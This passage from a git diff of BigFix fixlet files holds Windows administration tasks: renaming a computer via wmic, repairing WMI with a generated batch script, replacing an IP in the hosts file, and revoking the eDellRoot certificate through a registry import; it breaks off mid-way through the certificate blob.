+    <Description><![CDATA[<P>We can rename a windows computer from command line using WMIC computersystem command. Please see the command below</P><PRE>WMIC computersystem where caption='currentname' rename newname</PRE>
+<P>Example: If the current computer name is XP-PC, to change it to Windows7-PC, we can run the below command.</P><PRE>wmic computersystem where caption='xp-pc' rename windows7-pc</PRE>
+<P>After running the command, you need to reboot the computer to make the changes effective.</P>
+<P>This command works on XP, Vista, Windows 7 and also on Server 2003 and Server 2008 editions. </P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists file &quot;wmic.exe&quot; of folder &quot;wbem&quot; of system folder</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-01-30</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 30 Jan 2013 19:15:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//ask admin for name of new computer
+action parameter query &quot;newComputerName&quot; with description &quot;Please enter the new Computer Name (Ex: Daniel-PC):&quot; and with default value &quot;&quot;
+//use WMI to change the name
+waithidden wmic computersystem where caption=&apos;{computer name as string}&apos; call rename &apos;{parameter &quot;newComputerName&quot; as string}&apos;
+continue if {exit code of action = 0}
+//flag action as requiring a restart
+action requires restart
+</ActionScript>
+    </DefaultAction>
+    <Action ID="Action1641">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to Command Reference.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.windows-commandline.com/2011/10/change-computer-name-command-line.html</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Repair WMI (676).bes b/Sites/Windows Management/Fixlets/Fixlets/Repair WMI (676).bes
index 5c288e067..7ee1b9e67 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Repair WMI (676).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Repair WMI (676).bes	
@@ -1,77 +1,77 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Repair WMI
-  ID       : 676
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-11-30T10:20:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Repair WMI</Title>
-    <Description>fixlet to repair WMI</Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists wmi</Relevance>
-    <Relevance>not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi</Relevance>
-    <Category>Maintenance</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 30 Nov 2012 16:16:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete wmifix.bat
-delete __createfile
-createfile until end
-@ECHO OFF
-if not exist &quot;c:\temp&quot; md &quot;c:\temp&quot;
-cd /d c:\temp
-if not exist c:\windows\system32\wbem goto TryInstall
-cd /d c:\windows\system32\wbem
-net stop winmgmt /y
-winmgmt /kill
-if exist Rep_bak rd Rep_bak /s /q
-rename Repository Rep_bak
-for %%i in (*.dll) do RegSvr32 -s %%i
-for %%i in (*.exe) do call :FixSrv %%i
-for %%i in (*.mof,*.mfl) do Mofcomp %%i
-net start winmgmt
-goto End
-:FixSrv
-if /I (%1) == (wbemcntl.exe) goto SkipSrv
-if /I (%1) == (wbemtest.exe) goto SkipSrv
-if /I (%1) == (mofcomp.exe) goto SkipSrv
-%1 /RegServer
-:SkipSrv
-goto End
-:TryInstall
-if not exist wmicore.exe goto End
-wmicore /s
-net start winmgmt
-:End
-end
-move __createfile wmifix.bat
-waithidden wmifix.bat</ActionScript>
-    </DefaultAction>
-    <Action ID="Action933">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=459806&tstart=0]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Repair WMI
+  ID       : 676
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-11-30T10:20:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Repair WMI</Title>
+    <Description>fixlet to repair WMI</Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists wmi</Relevance>
+    <Relevance>not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi</Relevance>
+    <Category>Maintenance</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-11-30</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 30 Nov 2012 16:16:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete wmifix.bat
+delete __createfile
+createfile until end
+@ECHO OFF
+if not exist &quot;c:\temp&quot; md &quot;c:\temp&quot;
+cd /d c:\temp
+if not exist c:\windows\system32\wbem goto TryInstall
+cd /d c:\windows\system32\wbem
+net stop winmgmt /y
+winmgmt /kill
+if exist Rep_bak rd Rep_bak /s /q
+rename Repository Rep_bak
+for %%i in (*.dll) do RegSvr32 -s %%i
+for %%i in (*.exe) do call :FixSrv %%i
+for %%i in (*.mof,*.mfl) do Mofcomp %%i
+net start winmgmt
+goto End
+:FixSrv
+if /I (%1) == (wbemcntl.exe) goto SkipSrv
+if /I (%1) == (wbemtest.exe) goto SkipSrv
+if /I (%1) == (mofcomp.exe) goto SkipSrv
+%1 /RegServer
+:SkipSrv
+goto End
+:TryInstall
+if not exist wmicore.exe goto End
+wmicore /s
+net start winmgmt
+:End
+end
+move __createfile wmifix.bat
+waithidden wmifix.bat</ActionScript>
+    </DefaultAction>
+    <Action ID="Action933">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink>&amp;nbsp;to read source forum thread.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri"><![CDATA[http://www.ibm.com/developerworks/forums/thread.jspa?threadID=459806&tstart=0]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Replace IP in hosts file on Windows (26953).bes b/Sites/Windows Management/Fixlets/Fixlets/Replace IP in hosts file on Windows (26953).bes
index 66dc23d7a..ab3c0fd58 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Replace IP in hosts file on Windows (26953).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Replace IP in hosts file on Windows (26953).bes	
@@ -1,43 +1,43 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Replace IP in hosts file on Windows
-  ID       : 26953
-  Author   : f.pezzotti
-  Domain   : BESC
-  Imported : 2022-10-13T07:46:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Replace IP in hosts file on Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2022-10-13</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 13 Oct 2022 12:33:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "OldAddress" = "192.168.1.1"
-parameter "NewAddress" = "192.168.1.2"
-
-createfile until end
-{ ( (if (it contains (parameter "OldAddress" of action as string & " ") ) then ( ( (parameter "NewAddress" of action as string & " ") & substring after (parameter "OldAddress" of action as string) of it) & "%0D%0A") else it & "%0D%0A") ) of ( (concatenation "    " of substrings separated by "%09" of it) of ( (lines of file "C:\Windows\System32\drivers\etc\hosts") as string) ) }
-end
-
-
-delete "C:\Windows\System32\drivers\etc\hosts_old"
-move "C:\Windows\System32\drivers\etc\hosts" "C:\Windows\System32\drivers\etc\hosts_old"
-move __createfile "C:\Windows\System32\drivers\etc\hosts"]]></ActionScript>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Replace IP in hosts file on Windows
+  ID       : 26953
+  Author   : f.pezzotti
+  Domain   : BESC
+  Imported : 2022-10-13T07:46:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Replace IP in hosts file on Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2022-10-13</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 13 Oct 2022 12:33:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "OldAddress" = "192.168.1.1"
+parameter "NewAddress" = "192.168.1.2"
+
+createfile until end
+{ ( (if (it contains (parameter "OldAddress" of action as string & " ") ) then ( ( (parameter "NewAddress" of action as string & " ") & substring after (parameter "OldAddress" of action as string) of it) & "%0D%0A") else it & "%0D%0A") ) of ( (concatenation "    " of substrings separated by "%09" of it) of ( (lines of file "C:\Windows\System32\drivers\etc\hosts") as string) ) }
+end
+
+
+delete "C:\Windows\System32\drivers\etc\hosts_old"
+move "C:\Windows\System32\drivers\etc\hosts" "C:\Windows\System32\drivers\etc\hosts_old"
+move __createfile "C:\Windows\System32\drivers\etc\hosts"]]></ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Revoke eDellRoot Certificate - Enable Workaround (6286).bes b/Sites/Windows Management/Fixlets/Fixlets/Revoke eDellRoot Certificate - Enable Workaround (6286).bes
index 580c5e8a5..dc1135795 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Revoke eDellRoot Certificate - Enable Workaround (6286).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Revoke eDellRoot Certificate - Enable Workaround (6286).bes	
@@ -1,112 +1,112 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Revoke eDellRoot Certificate - Enable Workaround
-  ID       : 6286
-  Author   : baiyf
-  Domain   : BESC
-  Imported : 2015-11-25T08:58:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Revoke eDellRoot Certificate - Enable Workaround</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>
-<P>Use this Fixlet to revoke the eDellRoot Certificate.</P></TD></TR></TBODY></TABLE>
-<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
-    <Relevance>if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false</Relevance>
-    <Relevance>exists keys &quot;Root\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927&quot; of keys &quot;Software\Microsoft\SystemCertificates&quot; of (keys whose (exists key &quot;Software\Microsoft\SystemCertificates&quot; of it) of key &quot;HKEY_USERS&quot; of it; keys &quot;HKEY_LOCAL_MACHINE&quot; of it) of native registry</Relevance>
-    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927&quot; of native registry</Relevance>
-    <Category>Workaround</Category>
-    <Source>Dell</Source>
-    <SourceID>Unspecified</SourceID>
-    <SourceReleaseDate>2015-11-24</SourceReleaseDate>
-    <SourceSeverity>Unspecified</SourceSeverity>
-    <CVENames>Unspecified</CVENames>
-    <MIMEField>
-      <Name>x-fixlet-component</Name>
-      <Value>Unspecified</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product</Name>
-      <Value>Unspecified</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-product-family</Name>
-      <Value>Windows</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 25 Nov 2015 15:52:42 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action6894">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to initiate the deployment process. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
-delete revoke.eDellRoot.reg
-
-//Revoke eDellRoot certificate from the system Trusted Root Certification Authorities
-appendfile REGEDIT4
-appendfile
-appendfile [HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927]
-appendfile &quot;Blob&quot;=hex:03,00,00,00,01,00,00,00,14,00,00,00,98,a0,4e,41,63,35,77,90,c4,a7,\
-appendfile   9e,6d,71,3f,f0,af,51,fe,69,27,19,00,00,00,01,00,00,00,10,00,00,00,ea,63,2f,\
-appendfile   67,70,2d,8b,ae,21,89,7d,c0,56,8b,7a,27,14,00,00,00,01,00,00,00,14,00,00,00,\
-appendfile   a0,2b,69,46,00,23,79,56,32,2e,15,11,e1,2d,8c,22,81,5d,0c,c8,0f,00,00,00,01,\
-appendfile   00,00,00,14,00,00,00,37,0c,1a,7b,45,ab,c1,fa,fb,6d,48,ca,11,02,d8,d4,17,49,\
-appendfile   fb,fa,04,00,00,00,01,00,00,00,10,00,00,00,fc,3c,91,06,a6,d3,1b,c9,85,3d,7c,\
-appendfile   cc,ec,44,ad,96,20,00,00,00,01,00,00,00,f7,02,00,00,30,82,02,f3,30,82,01,df,\
-appendfile   a0,03,02,01,02,02,10,6b,c5,7b,95,18,93,aa,97,4b,62,4a,c0,88,fc,3b,b6,30,09,\
-appendfile   06,05,2b,0e,03,02,1d,05,00,30,14,31,12,30,10,06,03,55,04,03,13,09,65,44,65,\
-appendfile   6c,6c,52,6f,6f,74,30,1e,17,0d,31,35,30,34,30,37,31,30,32,33,32,37,5a,17,0d,\
-appendfile   33,39,31,32,33,31,32,33,35,39,35,39,5a,30,14,31,12,30,10,06,03,55,04,03,13,\
-appendfile   09,65,44,65,6c,6c,52,6f,6f,74,30,82,01,22,30,0d,06,09,2a,86,48,86,f7,0d,01,\
-appendfile   01,01,05,00,03,82,01,0f,00,30,82,01,0a,02,82,01,01,00,bd,d1,26,0d,6e,cd,5b,\
-appendfile   84,5f,41,f0,e1,75,86,ce,ce,a8,23,d5,be,a3,b1,d9,75,57,41,30,c5,5b,e0,6c,db,\
-appendfile   e2,e6,63,09,33,63,6c,fc,78,6f,c2,cd,14,bd,6e,02,b5,2d,fb,95,55,31,00,ec,39,\
-appendfile   36,37,2e,0f,d7,7b,f5,0d,ba,46,36,6f,ed,25,95,43,b3,cc,16,18,a5,bb,05,71,ca,\
-appendfile   38,9f,a4,ac,4e,f0,e1,36,2e,6d,fa,43,e8,ed,cd,b7,66,b6,01,3e,63,ae,f3,67,84,\
-appendfile   27,a7,1a,be,cf,ed,df,db,be,c0,53,a4,5d,7c,2f,44,28,87,03,f9,56,c8,d5,8d,10,\
-appendfile   f8,75,ef,e6,c2,10,fd,ea,e4,df,89,ad,5f,ba,1e,8d,f3,40,f1,2f,e5,05,09,61,d9,\
-appendfile   97,b0,c9,83,d8,23,10,a2,37,90,52,3e,bc,27,dd,4f,e7,0e,41,2a,3b,ab,1b,4c,63,\
-appendfile   8a,fc,e1,4a,88,9e,f7,29,bb,55,1c,0b,16,35,92,71,1b,b0,ff,d5,d5,e8,22,ea,4f,\
-appendfile   22,f9,c6,ba,a2,88,3a,75,b9,33,ae,a8,d8,f7,bb,1c,ad,b3,da,1c,6e,ca,09,5e,ec,\
-appendfile   63,e6,21,18,91,23,35,9e,f2,ee,a4,4b,fe,96,0c,bd,5a,ac,c8,10,53,26,d6,5f,02,\
-appendfile   03,01,00,01,a3,49,30,47,30,45,06,03,55,1d,01,04,3e,30,3c,80,10,60,0f,df,13,\
-appendfile   33,f0,99,a4,5c,66,e4,9a,6b,f5,59,d4,a1,16,30,14,31,12,30,10,06,03,55,04,03,\
-appendfile   13,09,65,44,65,6c,6c,52,6f,6f,74,82,10,6b,c5,7b,95,18,93,aa,97,4b,62,4a,c0,\
-appendfile   88,fc,3b,b6,30,09,06,05,2b,0e,03,02,1d,05,00,03,82,01,01,00,2b,7d,d7,12,72,\
-appendfile   c7,b3,8f,ca,28,27,dd,94,c3,09,cf,82,0d,fa,9e,83,a0,89,4b,39,5f,33,cb,3f,88,\
-appendfile   74,26,95,18,41,52,81,f6,16,35,59,30,f0,45,47,d3,28,68,7b,a0,d3,a8,c1,dd,36,\
-appendfile   ed,af,eb,55,26,ff,4c,d7,a8,88,92,2f,30,a9,f8,81,bb,d5,09,60,22,1e,13,bc,bb,\
-appendfile   6b,b4,46,41,c2,0d,5b,1a,ed,ed,22,e2,77,29,b9,e5,ac,8a,18,e7,ea,30,6b,63,c4,\
-appendfile   fe,ed,e0,d8,c2,21,53,fc,5d,37,03,c3,49,ee,62,b9,95,90,3c,48,57,79,09,30,f2,\
-appendfile   dc,40,54,53,95,30,cd,75,1c,e4,7a,08,45,4c,57,48,fc,9c,bb,76,88,05,66,b0,83,\
-appendfile   7b,02,74,a8,80,a2,29,12,70,f0,16,8f,46,cc,d2,f9,ac,3f,ff,10,4a,54,ce,06,a3,\
-appendfile   be,40,54,3a,47,cd,81,b5,3b,c1,35,4d,ea,6d,52,02,57,84,0e,6e,cc,62,6f,ef,85,\
-appendfile   00,52,f9,e8,d0,29,3e,ab,24,83,b5,73,2d,f3,48,02,32,9a,6c,75,1c,8d,bb,99,92,\
-appendfile   68,3a,8e,be,01,7d,85,bb,fa,84,03,1c,2b,18,80,00,e3,8c,a1,9d,2b,3f,fc,53,f7,\
-appendfile   cf
-
-move __appendfile revoke.eDellRoot.reg
-waithidden regedit /s revoke.eDellRoot.reg
-</ActionScript>
-    </Action>
-    <Action ID="Action6895">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to see the article published by Official Dell Corporate Blog. </PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://en.community.dell.com/dell-blogs/direct2dell/b/direct2dell/archive/2015/11/23/response-to-concerns-regarding-edellroot-certificate</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Revoke eDellRoot Certificate - Enable Workaround
+  ID       : 6286
+  Author   : baiyf
+  Domain   : BESC
+  Imported : 2015-11-25T08:58:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Revoke eDellRoot Certificate - Enable Workaround</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P>Use this Fixlet to revoke the eDellRoot Certificate.</P></TD></TR></TBODY></TABLE>
+<P>THIS CONTENT IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.</P>]]></Description>
+    <Relevance>if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false</Relevance>
+    <Relevance>exists keys &quot;Root\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927&quot; of keys &quot;Software\Microsoft\SystemCertificates&quot; of (keys whose (exists key &quot;Software\Microsoft\SystemCertificates&quot; of it) of key &quot;HKEY_USERS&quot; of it; keys &quot;HKEY_LOCAL_MACHINE&quot; of it) of native registry</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927&quot; of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>Dell</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2015-11-24</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>Unspecified</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-component</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product</Name>
+      <Value>Unspecified</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 25 Nov 2015 15:52:42 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action6894">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">delete __appendfile
+delete revoke.eDellRoot.reg
+
+//Revoke eDellRoot certificate from the system Trusted Root Certification Authorities
+appendfile REGEDIT4
+appendfile
+appendfile [HKEY_LOCAL_MACHINE\Software\Microsoft\SystemCertificates\Disallowed\Certificates\98A04E4163357790C4A79E6D713FF0AF51FE6927]
+appendfile &quot;Blob&quot;=hex:03,00,00,00,01,00,00,00,14,00,00,00,98,a0,4e,41,63,35,77,90,c4,a7,\
+appendfile   9e,6d,71,3f,f0,af,51,fe,69,27,19,00,00,00,01,00,00,00,10,00,00,00,ea,63,2f,\
+appendfile   67,70,2d,8b,ae,21,89,7d,c0,56,8b,7a,27,14,00,00,00,01,00,00,00,14,00,00,00,\
+appendfile   a0,2b,69,46,00,23,79,56,32,2e,15,11,e1,2d,8c,22,81,5d,0c,c8,0f,00,00,00,01,\
+appendfile   00,00,00,14,00,00,00,37,0c,1a,7b,45,ab,c1,fa,fb,6d,48,ca,11,02,d8,d4,17,49,\
+appendfile   fb,fa,04,00,00,00,01,00,00,00,10,00,00,00,fc,3c,91,06,a6,d3,1b,c9,85,3d,7c,\
+appendfile   cc,ec,44,ad,96,20,00,00,00,01,00,00,00,f7,02,00,00,30,82,02,f3,30,82,01,df,\
+appendfile   a0,03,02,01,02,02,10,6b,c5,7b,95,18,93,aa,97,4b,62,4a,c0,88,fc,3b,b6,30,09,\
+appendfile   06,05,2b,0e,03,02,1d,05,00,30,14,31,12,30,10,06,03,55,04,03,13,09,65,44,65,\
+appendfile   6c,6c,52,6f,6f,74,30,1e,17,0d,31,35,30,34,30,37,31,30,32,33,32,37,5a,17,0d,\
+appendfile   33,39,31,32,33,31,32,33,35,39,35,39,5a,30,14,31,12,30,10,06,03,55,04,03,13,\
+appendfile   09,65,44,65,6c,6c,52,6f,6f,74,30,82,01,22,30,0d,06,09,2a,86,48,86,f7,0d,01,\
+appendfile   01,01,05,00,03,82,01,0f,00,30,82,01,0a,02,82,01,01,00,bd,d1,26,0d,6e,cd,5b,\
+appendfile   84,5f,41,f0,e1,75,86,ce,ce,a8,23,d5,be,a3,b1,d9,75,57,41,30,c5,5b,e0,6c,db,\
+appendfile   e2,e6,63,09,33,63,6c,fc,78,6f,c2,cd,14,bd,6e,02,b5,2d,fb,95,55,31,00,ec,39,\
+appendfile   36,37,2e,0f,d7,7b,f5,0d,ba,46,36,6f,ed,25,95,43,b3,cc,16,18,a5,bb,05,71,ca,\
+appendfile   38,9f,a4,ac,4e,f0,e1,36,2e,6d,fa,43,e8,ed,cd,b7,66,b6,01,3e,63,ae,f3,67,84,\
+appendfile   27,a7,1a,be,cf,ed,df,db,be,c0,53,a4,5d,7c,2f,44,28,87,03,f9,56,c8,d5,8d,10,\
+appendfile   f8,75,ef,e6,c2,10,fd,ea,e4,df,89,ad,5f,ba,1e,8d,f3,40,f1,2f,e5,05,09,61,d9,\
+appendfile   97,b0,c9,83,d8,23,10,a2,37,90,52,3e,bc,27,dd,4f,e7,0e,41,2a,3b,ab,1b,4c,63,\
+appendfile   8a,fc,e1,4a,88,9e,f7,29,bb,55,1c,0b,16,35,92,71,1b,b0,ff,d5,d5,e8,22,ea,4f,\
+appendfile   22,f9,c6,ba,a2,88,3a,75,b9,33,ae,a8,d8,f7,bb,1c,ad,b3,da,1c,6e,ca,09,5e,ec,\
+appendfile   63,e6,21,18,91,23,35,9e,f2,ee,a4,4b,fe,96,0c,bd,5a,ac,c8,10,53,26,d6,5f,02,\
+appendfile   03,01,00,01,a3,49,30,47,30,45,06,03,55,1d,01,04,3e,30,3c,80,10,60,0f,df,13,\
+appendfile   33,f0,99,a4,5c,66,e4,9a,6b,f5,59,d4,a1,16,30,14,31,12,30,10,06,03,55,04,03,\
+appendfile   13,09,65,44,65,6c,6c,52,6f,6f,74,82,10,6b,c5,7b,95,18,93,aa,97,4b,62,4a,c0,\
+appendfile   88,fc,3b,b6,30,09,06,05,2b,0e,03,02,1d,05,00,03,82,01,01,00,2b,7d,d7,12,72,\
+appendfile   c7,b3,8f,ca,28,27,dd,94,c3,09,cf,82,0d,fa,9e,83,a0,89,4b,39,5f,33,cb,3f,88,\
+appendfile   74,26,95,18,41,52,81,f6,16,35,59,30,f0,45,47,d3,28,68,7b,a0,d3,a8,c1,dd,36,\
+appendfile   ed,af,eb,55,26,ff,4c,d7,a8,88,92,2f,30,a9,f8,81,bb,d5,09,60,22,1e,13,bc,bb,\
+appendfile   6b,b4,46,41,c2,0d,5b,1a,ed,ed,22,e2,77,29,b9,e5,ac,8a,18,e7,ea,30,6b,63,c4,\
+appendfile   fe,ed,e0,d8,c2,21,53,fc,5d,37,03,c3,49,ee,62,b9,95,90,3c,48,57,79,09,30,f2,\
+appendfile   dc,40,54,53,95,30,cd,75,1c,e4,7a,08,45,4c,57,48,fc,9c,bb,76,88,05,66,b0,83,\
